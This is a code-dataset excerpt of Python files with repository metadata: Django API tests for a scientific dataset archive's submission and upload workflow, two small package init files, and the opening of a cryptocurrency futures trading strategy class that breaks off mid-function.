['myuser@foo.bar']) self.assertEqual(email.reply_to, settings.ARCHIVE_API['EMAIL_NGEET_TEAM']) ######################################################################### # NGT Administrator may set publication date to now response = self.client.get("/api/v1/datasets/2/publication_date/") value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'Publication date has been set.', 'success': True}, value) # Validate that a publication date was set response = self.client.get("/api/v1/datasets/2/") assert response.json()["publication_date"] is not None ######################################################################### # NGT Administrator may set publication date to a specific date response = self.client.get("/api/v1/datasets/2/publication_date/?date=1/2/2018") value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'Publication date has been set.', 'success': True}, value) # Validate that a publication date was set response = self.client.get("/api/v1/datasets/2/") pub_date = response.json()["publication_date"] assert pub_date is not None assert pub_date == "2018-01-02" ######################################################################### # APPROVED status: Cannot be deleted by anyone response = self.client.delete("/api/v1/datasets/2/") # In submitted mode, owned by auser self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) response = self.client.get("/api/v1/datasets/2/") # should be deleted self.assertEqual(status.HTTP_200_OK, response.status_code) response = self.client.get("/api/v1/datasets/2/") value = json.loads(response.content.decode('utf-8')) self.assertEqual(value['status'], str(DataSet.STATUS_APPROVED)) ######################################################################### # NGT Administrator can put a dataset back into DRAFT status for corrections by the Owning NGT user response = self.client.get("/api/v1/datasets/2/unsubmit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual({'detail': 'Only a data set in SUBMITTED status may be un-submitted'}, value) # Make sure no additional notification was sent self.assertEqual(len(mail.outbox), 1) response = self.client.get("/api/v1/datasets/2/unapprove/") # In approved mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'DataSet has been unapproved.', 'success': True}, value) self.assertEqual(1, len(mail.outbox)) # no notification emails sent ######################################################################### # NGT Administrator my unapproved a dataset (put back into submitted mode) response = self.client.get("/api/v1/datasets/1/unapprove/") # In approved mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual({'detail': 'Only a data set in APPROVED status may be unapproved'}, value) response = self.client.get("/api/v1/datasets/2/") # Check the status value = json.loads(response.content.decode('utf-8')) self.assertEqual(value['status'], str(DataSet.STATUS_SUBMITTED)) self.assertEqual(1, len(mail.outbox)) # no notification emails sent def test_admin_unsubmit(self): """ Test Admin unsubmit :return: """ self.login_user("admin") ######################################################################### # Adn admin may unsubmit a dataset in SUBIMITTED MODE response = self.client.get("/api/v1/datasets/2/unsubmit/") # In submitted mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'DataSet has been unsubmitted.', 'success': True}, value) response = self.client.get("/api/v1/datasets/2/") value = json.loads(response.content.decode('utf-8')) self.assertEqual(value['status'], str(DataSet.STATUS_DRAFT)) # check that the status is in DRAFT def test_user_delete_not_allowed(self): """ Test Admin delete :return: """ self.login_user("auser") ######################################################################### # NGT User may not delete a SUBMITTED dataset response = self.client.delete("/api/v1/datasets/2/") # In submitted mode, owned by auser self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) # Confirm that it wasn't deleted response = self.client.get("/api/v1/datasets/2/") # should be deleted self.assertEqual(status.HTTP_200_OK, response.status_code) ######################################################################### # NGT user may delete a DRAFT dataset response = self.client.delete("/api/v1/datasets/1/") # In submitted mode, owned by auser self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) response = self.client.get("/api/v1/datasets/1/") # should be deleted self.assertEqual(status.HTTP_200_OK, response.status_code) def test_admin_delete_not_allowed(self): """ Test Admin delete :return: """ self.login_user("admin") ######################################################################### # NGT User may delete a SUBMITTED dataset response = self.client.delete("/api/v1/datasets/2/") # In submitted mode, owned by auser self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) response = self.client.get("/api/v1/datasets/2/") # should be deleted self.assertEqual(status.HTTP_200_OK, response.status_code) ######################################################################### # NGT User may delete a DRAFT dataset response = self.client.delete("/api/v1/datasets/1/") # In submitted mode, owned by auser self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) response = self.client.get("/api/v1/datasets/1/") # should be deleted self.assertEqual(status.HTTP_200_OK, response.status_code) def test_upload(self): """ Test Dataset Archive Upload :return: """ self.login_user("admin") with open('{}/Archive.zip'.format(dirname(__file__)), 'rb') as fp: response = self.client.post('/api/v1/datasets/1/upload/', {'attachment': fp}) self.assertContains(response, '"success":true', status_code=status.HTTP_201_CREATED) response = self.client.get('/api/v1/datasets/1/') self.assertContains(response, 'http://testserver/api/v1/datasets/1/archive/', status_code=status.HTTP_200_OK) response = self.client.get('/api/v1/datasets/1/archive/') self.assertContains(response, ''.encode('utf-8')) self.assertTrue("Content-length" in response) self.assertEqual(response["Content-length" ], '7686') self.assertTrue("Content-Disposition" in response) self.assertTrue("attachment; filename=Archive_" in response['Content-Disposition']) downloadlog = DataSetDownloadLog.objects.all() self.assertEqual(len(downloadlog),1) # Now try to upload a text file (no restr with open('{}/valid_upload.txt'.format(dirname(__file__)), 'r') as fp: response = self.client.post('/api/v1/datasets/1/upload/', {'attachment': fp}) self.assertContains(response, '"success":true', status_code=status.HTTP_201_CREATED) self.assertContains(response, 'File uploaded', status_code=status.HTTP_201_CREATED) response = self.client.get('/api/v1/datasets/1/') self.assertContains(response, 'http://testserver/api/v1/datasets/1/archive/', status_code=status.HTTP_200_OK) response = self.client.get('/api/v1/datasets/1/archive/') self.assertContains(response, '') self.assertTrue("Content-length" in response) self.assertEqual(response["Content-length"], '17609') self.assertTrue("Content-Disposition" in response) self.assertTrue("attachment; filename=valid_upload_" in response['Content-Disposition']) response = self.client.put('/api/v1/datasets/1/', data='{"data_set_id":"FooBarBaz","description":"A FooBarBaz DataSet",' '"name": "Data Set 1", ' '"status_comment": "",' '"doi": "",' '"start_date": "2016-10-28",' '"end_date": null,' '"qaqc_status": null,' '"qaqc_method_description": "",' '"ngee_tropics_resources": true,' '"funding_organizations": "The funding organizations for my dataset",' '"doe_funding_contract_numbers": "",' '"acknowledgement": "",' '"reference": "",' '"additional_reference_information": "",' '"originating_institution": "Lawrence Berkeley National Lab",' '"additional_access_information": "",' '"submission_date": "2016-10-28T19:12:35Z",' '"contact": "http://testserver/api/v1/people/4/",' '"authors": ["http://testserver/api/v1/people/1/"],' '"sites": ["http://testserver/api/v1/sites/1/"],' '"plots": ["http://testserver/api/v1/plots/1/"],' '"variables": ["http://testserver/api/v1/variables/1/", ' '"http://testserver/api/v1/variables/2/"]}', content_type='application/json') self.assertEqual(status.HTTP_200_OK, response.status_code) ######################################################################### # NGT User may not SUBMIT a dataset in DRAFT mode if they owne it outbox_len = len(mail.outbox) response = self.client.get("/api/v1/datasets/1/submit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'DataSet has been submitted.', 'success': True}, value) self.assertEqual(outbox_len + 1, len(mail.outbox)) # notification emails sent email = mail.outbox[0] self.assertEqual(email.subject, "[ngt-archive-test] Dataset Submitted (NGT0000)") self.assertTrue(email.body.find("""The dataset NGT0000:Data Set 1 created on 10/28/2016 was submitted to the NGEE Tropics Archive. You will not be able to view this dataset until it has been approved. """) > 0) self.assertEqual(email.to, ['myuser@foo.bar']) response = self.client.get("/api/v1/datasets/1/") self.assertContains(response, '"version":"1.0"') response = self.client.get('/api/v1/datasets/1/archive/') self.assertContains(response, '') self.assertTrue("Content-length" in response) self.assertEqual(response["Content-length"], '17609') self.assertTrue("Content-Disposition" in response) self.assertTrue("attachment; filename=valid_upload_" in response['Content-Disposition']) import os shutil.rmtree(os.path.join(settings.ARCHIVE_API['DATASET_ARCHIVE_ROOT'], "0000")) def test_upload_not_found(self): """ Test Dataset Archive Upload :return: """ self.login_user("auser") # auser does not own Dataset 3 with open('{}/valid_upload.txt'.format(dirname(__file__)), 'r') as fp: response = self.client.post('/api/v1/datasets/3/upload/', {'attachment': fp}) self.assertContains(response, '"detail":"Not found."', status_code=status.HTTP_404_NOT_FOUND) response = self.client.get('/api/v1/datasets/3/') self.assertNotContains(response, 'http://testserver/api/v1/datasets/3/archive/', status_code=status.HTTP_404_NOT_FOUND) response = self.client.get('http://testserver/api/v1/datasets/3/archive/') self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code) def test_upload_permission_denied(self): """ Test Dataset Archive Upload :return: """ self.login_user("auser") # auser does not own Dataset 3 with open('{}/valid_upload.txt'.format(dirname(__file__)), 'r') as fp: response = self.client.post('/api/v1/datasets/2/upload/', {'attachment': fp}) self.assertContains(response, '"detail":"You do not have permission to perform this action."', status_code=status.HTTP_403_FORBIDDEN) response = self.client.get('/api/v1/datasets/2/') self.assertNotContains(response, 'http://testserver/api/v1/datasets/2/archive/', status_code=status.HTTP_200_OK) response = self.client.get('http://testserver/api/v1/datasets/2/archive/') self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code) def test_upload_anyfile(self): """ Test Dataset Archive Upload :return: """ self.login_user("admin") with open('{}/valid_upload.txt'.format(dirname(__file__)), 'r') as fp: response = self.client.post('/api/v1/datasets/1/upload/', {'attachment': fp}) self.assertContains(response, '"success":true', status_code=status.HTTP_201_CREATED) self.assertContains(response, 'File uploaded', status_code=status.HTTP_201_CREATED) response = self.client.get('/api/v1/datasets/1/') self.assertContains(response, 'http://testserver/api/v1/datasets/1/archive/', status_code=status.HTTP_200_OK) response = self.client.get('http://testserver/api/v1/datasets/1/archive/') self.assertEqual(status.HTTP_200_OK, response.status_code) def test_issue_118(self): """Error when trying to submit a dataset with ngee_tropics_resources set to false #118""" self.login_user("auser") response = self.client.put('/api/v1/datasets/1/', data='{"data_set_id":"FooBarBaz","description":"A FooBarBaz DataSet",' '"name": "Data Set 1", ' '"status_comment": "",' '"doi": "",' '"start_date": "2016-10-28",' '"end_date": null,' '"qaqc_status": null,' '"qaqc_method_description": "",' '"ngee_tropics_resources": false,' '"funding_organizations": "The funding organizations for my dataset",' '"doe_funding_contract_numbers": "",' '"acknowledgement": "",' '"reference": "",' '"additional_reference_information": "",' '"originating_institution": "Lawrence Berkeley National Lab",' '"additional_access_information": "",' '"submission_date": "2016-10-28T19:12:35Z",' '"contact": "http://testserver/api/v1/people/4/",' '"authors": ["http://testserver/api/v1/people/1/"],' '"sites": ["http://testserver/api/v1/sites/1/"],' '"plots": ["http://testserver/api/v1/plots/1/"],' '"variables": ["http://testserver/api/v1/variables/1/", ' '"http://testserver/api/v1/variables/2/"]}', content_type='application/json') self.assertEqual(status.HTTP_200_OK, response.status_code) ### Make sure file is uploaded before submittind with open('{}/Archive.zip'.format(dirname(__file__)), 'rb') as fp: response = self.client.post('/api/v1/datasets/1/upload/', {'attachment': fp}) self.assertContains(response, '"success":true', status_code=status.HTTP_201_CREATED) ######################################################################### # NGT User may not SUBMIT a dataset in DRAFT mode if they owne it response = self.client.get("/api/v1/datasets/1/submit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'DataSet has been submitted.', 'success': True}, value) # Test unsubmit workflow self.login_user("admin") ######################################################################### # NGT User may not SUBMIT a dataset in DRAFT mode if they owne it response = self.client.get("/api/v1/datasets/1/unsubmit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'DataSet has been unsubmitted.', 'success': True}, value) self.login_user("auser") ######################################################################### # NGT User may not SUBMIT a dataset in DRAFT mode if they owne it response = self.client.get("/api/v1/datasets/1/submit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'DataSet has been submitted.', 'success': True}, value) def test_issue_187(self): "REST API: submit check that plot matches a site #187" self.login_user("auser") response = self.client.post('/api/v1/datasets/', data='{"name":"A FooBarBaz DataSet",' '"authors":["http://testserver/api/v1/people/2/"],' '"plots":["http://testserver/api/v1/plots/1/"],' '"variables":["http://testserver/api/v1/variables/1/"] }', content_type='application/json') self.assertEqual(status.HTTP_400_BAD_REQUEST,response.status_code) self.assertEqual(json.loads(response.content.decode('utf-8')), {"plots": ["A site must be selected."]}) response = self.client.post('/api/v1/datasets/', data='{"name":"A FooBarBaz DataSet",' '"authors":["http://testserver/api/v1/people/2/"],' '"sites":["http://testserver/api/v1/sites/2/"],' '"plots":["http://testserver/api/v1/plots/1/"],' '"variables":["http://testserver/api/v1/variables/1/"] }', content_type='application/json') self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code) self.assertEqual(json.loads(response.content.decode('utf-8')), {'plots': ['Select the site corresponding to plot CC-CCPD1:Central City ' 'CCPD Plot 1']}) def test_issue_173(self): """DataSet.name should not be unique #173""" self.login_user("auser") response = self.client.post('/api/v1/datasets/', data='{"name":"A FooBarBaz DataSet",' '"authors":["http://testserver/api/v1/people/2/"],' '"sites":["http://testserver/api/v1/sites/1/"] ,' '"plots":["http://testserver/api/v1/plots/1/"],' '"variables":["http://testserver/api/v1/variables/1/"] }', content_type='application/json') self.assertEqual(status.HTTP_201_CREATED, response.status_code) response = self.client.post('/api/v1/datasets/', data='{"name":"A FooBarBaz DataSet",' '"authors":["http://testserver/api/v1/people/2/"],' '"sites":["http://testserver/api/v1/sites/1/"] ,' '"plots":["http://testserver/api/v1/plots/1/"],' '"variables":["http://testserver/api/v1/variables/1/"] }', content_type='application/json') self.assertEqual(status.HTTP_201_CREATED, response.status_code) def test_issue_74(self): self.login_user("auser") response = self.client.post('/api/v1/datasets/', data='{"description":"A FooBarBaz DataSet",' '"authors":["http://testserver/api/v1/people/2/"],' '"sites":["http://testserver/api/v1/sites/1/"] ,' '"plots":["http://testserver/api/v1/plots/1/"],' '"variables":["http://testserver/api/v1/variables/1/"] }', content_type='application/json') self.assertEqual(status.HTTP_201_CREATED, response.status_code) dataset_url = json.loads(response.content.decode('utf-8'))["url"] response = self.client.get(dataset_url) self.assertContains(response, "http://testserver/api/v1/variables/1/") self.assertContains(response, "http://testserver/api/v1/sites/1/") self.assertContains(response, "http://testserver/api/v1/plots/1/") def test_issue_180(self): """ Dataset lost due to permissions error :return: """ self.login_user("auser") response = self.client.post('/api/v1/datasets/', data='{"description":"A FooBarBaz DataSet",' '"authors":["http://testserver/api/v1/people/2/"],' '"sites":["http://testserver/api/v1/sites/1/"] ,' '"plots":["http://testserver/api/v1/plots/1/"],' '"variables":["http://testserver/api/v1/variables/1/"],' '"access_level":1 }', content_type='application/json') self.assertEqual(status.HTTP_201_CREATED, response.status_code) dataset_url = json.loads(response.content.decode('utf-8'))["url"] response = self.client.get(dataset_url) self.assertContains(response, "http://testserver/api/v1/variables/1/") self.assertContains(response, "http://testserver/api/v1/sites/1/") self.assertContains(response, "http://testserver/api/v1/plots/1/") @mock.patch('django.core.files.uploadedfile.InMemoryUploadedFile.size', new_callable=PropertyMock) def test_issue_117(self, mock_file_size): """Is the backend enforcing a file size limit? Testing limits for admin and regular users""" mock_file_size.return_value = 2147483648 self.login_user("auser") with open('{}/Archive.zip'.format(dirname(__file__)), 'rb') as fp: response = self.client.post('/api/v1/datasets/1/upload/', {'attachment': fp}) self.assertContains(response, '"success":false', status_code=status.HTTP_400_BAD_REQUEST) self.assertContains(response,"Uploaded file size is 2048.0 MB. Max upload size is 1024.0 MB", status_code=status.HTTP_400_BAD_REQUEST) mock_file_size.return_value = 3147483648 self.login_user("admin") with open('{}/Archive.zip'.format(dirname(__file__)), 'rb') as fp: response = self.client.post('/api/v1/datasets/1/upload/', {'attachment': fp}) self.assertContains(response, '"success":false', status_code=status.HTTP_400_BAD_REQUEST) self.assertContains(response, "Uploaded file size is 3001.7 MB. Max upload size is 2048.0 MB", status_code=status.HTTP_400_BAD_REQUEST) def test_issue_253(self): """Error uploading files > 2.5 MB #253""" self.login_user("auser") # Write a 3 MB file with open('{}/bigfile.dat'.format(dirname(__file__)), 'wb') as out: out.seek((1024 * 1024 * 3) - 1) out.write(b"0") with open('{}/bigfile.dat'.format(dirname(__file__)), 'rb') as fp: response = self.client.post('/api/v1/datasets/1/upload/', {'attachment': fp}) self.assertContains(response, '"success":true', status_code=status.HTTP_201_CREATED) self.assertContains(response, "uploaded", status_code=status.HTTP_201_CREATED) response = self.client.get( '/api/v1/datasets/1/archive/') self.assertContains(response, '') self.assertTrue("Content-length" in response) self.assertEquals(response["Content-length"], '3145728') self.assertTrue("Content-Disposition" in response) self.assertTrue("attachment; filename=bigfile_" in response['Content-Disposition']) try: os.remove('{}/bigfile.dat'.format(dirname(__file__))) except: pass class SiteClientTestCase(APITestCase): fixtures = ('test_auth.json', 'test_archive_api.json',) def login_user(self, username): user = User.objects.get(username=username) self.client.force_login(user) def setUp(self): self.client = Client() user = User.objects.get(username="auser") self.client.force_login(user) def test_client_list(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/sites/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/sites/') self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_get(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/sites/1/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/sites/1/') self.assertEqual(json.loads(response.content.decode('utf-8')), {"url": "http://testserver/api/v1/sites/1/", "site_id": "CC-CCPD", "name": "Central City CCPD", "description": "Et doming epicurei posidonium has, an sit sanctus intellegebat. Ne malis reprehendunt mea. Iisque dolorem vel cu. Ut nam sapientem appellantur definitiones, copiosae placerat inimicus per ei. Cu pro reque putant, cu perfecto urbanitas posidonium eum, pri probo laoreet cu. Ei duo cetero concludaturque, ei adhuc facilis sit.\r\n\r\nAn aeque harum ius, mea ut erant verear salutandi. Eligendi recusabo usu ad. Ad modo vero consequat his, ne aperiam alienum suscipiantur his. Altera laoreet petentium pro ut. His option vocibus at. Vix no semper omnesque maluisset, accusata qualisque ut pro. Eos sint constituto temporibus in.", "country": "United States", "state_province": "", "utc_offset": -9, "location_latitude": -8.983987234, "location_longitude": 5.9832932847, "location_elevation": "100-400", "location_map_url": "", "location_bounding_box_ul_latitude": None, "location_bounding_box_ul_longitude": None, "location_bounding_box_lr_latitude": None, "location_bounding_box_lr_longitude": None, "site_urls": "http://centralcityccpd.baz", "submission_date": "2016-10-01", "contacts": [], "pis": [], "submission": "http://testserver/api/v1/people/3/"}) self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_post(self): response = self.client.post('/api/v1/sites/', data='{"data_set_id":"FooBarBaz","description":"A FooBarBaz DataSet"}', content_type='application/json') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) def test_client_put(self): response = self.client.put('/api/v1/sites/2/', data='{"data_set_id":"FooBarBaz","description":"A FooBarBaz DataSet"}', content_type='application/json') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) class PlotClientTestCase(APITestCase): fixtures = ('test_auth.json', 'test_archive_api.json',) def login_user(self, username): user = User.objects.get(username=username) self.client.force_login(user) def setUp(self): self.client = Client() self.login_user("auser") def test_client_list(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/plots/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/plots/') self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_get(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/sites/1/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/plots/1/') self.assertEqual(json.loads(response.content.decode('utf-8')), {"url": "http://testserver/api/v1/plots/1/", "plot_id": "CC-CCPD1", "name": "Central City CCPD Plot 1", "description": "Sed ut perspiciatis, unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam eaque ipsa, quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt, explicabo. Nemo enim ipsam voluptatem, quia voluptas sit, aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos, qui ratione voluptatem sequi nesciunt, neque porro quisquam est, qui dolorem ipsum, quia dolor sit amet, consectetur, adipisci[ng] velit, sed quia non numquam [do] eius modi tempora inci[di]dunt, ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit, qui in ea voluptate velit esse, quam nihil molestiae consequatur, vel illum, qui dolorem eum fugiat, quo voluptas nulla pariatur", "size": "", "location_elevation": "", "location_kmz_url": "", "submission_date": "2016-10-08", "pi": "http://testserver/api/v1/people/3/", "site": "http://testserver/api/v1/sites/1/", "submission": "http://testserver/api/v1/people/4/"}) self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_post(self): response = self.client.post('/api/v1/plots/', data='{"data_set_id":"FooBarBaz","description":"A FooBarBaz DataSet"}', content_type='application/json') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) def test_client_put(self): response = self.client.put('/api/v1/plots/1/', data='{"data_set_id":"FooBarBaz","description":"A FooBarBaz DataSet"}', content_type='application/json') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) class ContactClientTestCase(APITestCase): fixtures = ('test_auth.json', 'test_archive_api.json',) def login_user(self, username): user = User.objects.get(username=username) self.client.force_login(user) def setUp(self): self.client = Client() self.login_user("auser") def test_client_list(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/people/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/people/?format=api') self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_get(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/people/2/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/people/2/') self.assertEqual(json.loads(response.content.decode('utf-8')), {"url": "http://testserver/api/v1/people/2/", "first_name": "Luke", "last_name": "Cage", "email": "lcage@foobar.baz", "institution_affiliation": "POWER", "orcid": ""}) self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_post(self): response = self.client.post('/api/v1/people/', data='{"first_name":"Killer","last_name":"Frost","email":"kfrost@earth2.baz","institution_affiliation":"ZOOM"}', content_type='application/json') self.assertEqual(json.loads(response.content.decode('utf-8')), {"url": "http://testserver/api/v1/people/7/", "first_name": "Killer", "last_name": "Frost", "email": "kfrost@earth2.baz", "institution_affiliation": "ZOOM", "orcid": ""}) self.assertEqual(status.HTTP_201_CREATED, response.status_code) def test_client_put(self): response = self.client.put('/api/v1/people/2/', data='{"url": "http://testserver/api/v1/people/2/", "first_name": "Luke", "last_name": "Cage", "email": "lcage@foobar.baz", "institution_affiliation": "POW"}', content_type='application/json') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) class VariableClientTestCase(APITestCase): fixtures = ('test_auth.json', 'test_archive_api.json',) def login_user(self, username): user = User.objects.get(username=username) self.client.force_login(user) def setUp(self): self.client = Client() user = User.objects.get(username="auser") self.client.force_login(user) def test_client_list(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/variables/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/variables/') self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_get(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/variables/2/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/variables/2/') self.assertEqual(json.loads(response.content.decode('utf-8')), {"url": "http://testserver/api/v1/variables/2/", "name": "Ice"}) self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_post(self): response = self.client.post('/api/v1/variables/', data='{"name":"Val}', content_type='application/json') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) def test_client_put(self): response = self.client.put('/api/v1/variables/2/', data='", "{"name":"Val}"}', content_type='application/json') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code)
55.769754
932
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7
0cedfacc5254e74a4ed12c03e80b96a0c1ac5f96
118
py
Python
littlebird/__init__.py
aryamccarthy/littlebird
7f2b622a6669f53dbec836862c9dd0de59046359
[ "MIT" ]
null
null
null
littlebird/__init__.py
aryamccarthy/littlebird
7f2b622a6669f53dbec836862c9dd0de59046359
[ "MIT" ]
null
null
null
littlebird/__init__.py
aryamccarthy/littlebird
7f2b622a6669f53dbec836862c9dd0de59046359
[ "MIT" ]
null
null
null
from .tweet_utils import TweetReader from .tweet_utils import TweetWriter from .tweet_tokenizer import TweetTokenizer
29.5
43
0.872881
15
118
6.666667
0.533333
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0.28
0.4
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8
0b76365a67b37869a488d54b19cb3e82aafb5122
74
py
Python
sample-apps/imports-app/src/routes/__init__.py
fakepop/hubspot-api-python
f04103a09f93f5c26c99991b25fa76801074f3d3
[ "Apache-2.0" ]
1
2020-11-12T08:46:32.000Z
2020-11-12T08:46:32.000Z
sample-apps/imports-app/src/routes/__init__.py
fakepop/hubspot-api-python
f04103a09f93f5c26c99991b25fa76801074f3d3
[ "Apache-2.0" ]
null
null
null
sample-apps/imports-app/src/routes/__init__.py
fakepop/hubspot-api-python
f04103a09f93f5c26c99991b25fa76801074f3d3
[ "Apache-2.0" ]
null
null
null
from .oauth import module as oauth from .imports import module as imports
24.666667
38
0.810811
12
74
5
0.5
0.4
0.466667
0
0
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74
2
39
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true
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7
0ba77b63e7a1ec2bc3e9bbef7845512a760fbe06
32,844
py
Python
strategies/LineWith.py
mn3711698/singlecoin
63f0154ba17c7a21295b2ff6ef94929cf708a47c
[ "MIT" ]
33
2021-05-14T03:21:53.000Z
2021-11-07T20:27:53.000Z
strategies/LineWith.py
mn3711698/singlecoin
63f0154ba17c7a21295b2ff6ef94929cf708a47c
[ "MIT" ]
2
2021-06-04T15:31:01.000Z
2021-09-25T12:24:02.000Z
strategies/LineWith.py
mn3711698/singlecoin
63f0154ba17c7a21295b2ff6ef94929cf708a47c
[ "MIT" ]
14
2021-05-14T03:34:30.000Z
2021-11-10T12:35:39.000Z
# -*- coding: utf-8 -*- ############################################################################## # Author：QQ173782910 ############################################################################## from datetime import datetime from strategies import Base from getaway.send_msg import dingding, wx_send_msg class LineWith(Base): def on_pos_data(self, pos_dict): # 先判断是否有仓位，如果是多头的仓位， 然后检查下是多头还是空头，设置相应的止损的价格.. current_pos = float(pos_dict['positionAmt']) self.unRealizedProfit = float(pos_dict['unRealizedProfit']) entryPrice = float(pos_dict['entryPrice']) if self.enter_price == 0 or self.enter_price != entryPrice: self.enter_price = entryPrice if current_pos > 0: self.stoploss_price = entryPrice * (1 - self.long_stoploss) self.takeprofit_price = entryPrice * (1 + self.long_takeprofit) elif current_pos < 0: self.stoploss_price = entryPrice * (1 + self.short_stoploss) self.takeprofit_price = entryPrice * (1 - self.short_takeprofit) if self.pos != 0: if self.unRealizedProfit > 0: self.maxunRealizedProfit = max(self.maxunRealizedProfit, self.unRealizedProfit) elif self.unRealizedProfit < 0: self.lowProfit = min(self.lowProfit, self.unRealizedProfit) if self.pos != current_pos: # 检查仓位是否是一一样的. if current_pos == 0: dingding(f"仓位检查:{self.symbol},交易所帐户仓位为0，无持仓，系统仓位为:{self.pos},重置为0", symbols=self.symbol) self.pos = 0 self.sync_data() return elif current_pos != 0: if self.HYJ_jd_ss != 0: self.HYJ_jd_ss = 0 dingding(f"仓位检查:{self.symbol},交易所帐户仓位为:{current_pos},有持仓,系统仓位为:{self.pos},重置为:{current_pos}", symbols=self.symbol) self.pos = current_pos self.sync_data() return if current_pos == 0 and len(self.open_orders) == 0: coraup = self.cora_wave > self.old_cora_wave Cora_Raw_wave = self.cora_raw - self.cora_wave if coraup: # 多单方向 raw_wave = abs(Cora_Raw_wave) > self.long_line_poor else: # 空单方向 raw_wave = abs(Cora_Raw_wave) > self.short_line_poor if self.pos_flag == 1 and coraup and raw_wave: # 开多未成交,取消未成交订单再下单 self.pos_flag = 0 self.pos = self.round_to(self.trading_size, self.min_volume) enter_price = self.ask res_buy = self.buy(enter_price, abs(self.pos), mark=True) self.enter_price = enter_price self.stoploss_price = enter_price * (1 - self.long_stoploss) self.takeprofit_price = enter_price * (1 + self.long_takeprofit) self.high_price = enter_price self.low_price = enter_price self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.pos_update_time = datetime.now() self.sync_data() HYJ_jd_first = f"交易对:{self.symbol},仓位:{self.pos}" HYJ_jd_tradeType = "开多2" HYJ_jd_curAmount = f"{enter_price}" HYJ_jd_remark = f"最新价:{self.last_price}" dingding(f"开多2,交易所返回:{res_buy}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.pos_flag == -1 and not coraup and raw_wave: # 开空未成交,取消未成交订单再下单 self.pos_flag = 0 self.pos = self.round_to(self.trading_size, self.min_volume) enter_price = self.bid res_sell = self.sell(enter_price, abs(self.pos), mark=True) self.pos = -self.pos self.enter_price = enter_price self.stoploss_price = enter_price * (1 + self.short_stoploss) self.takeprofit_price = enter_price * (1 - self.short_takeprofit) self.high_price = enter_price self.low_price = enter_price self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.pos_update_time = datetime.now() self.sync_data() 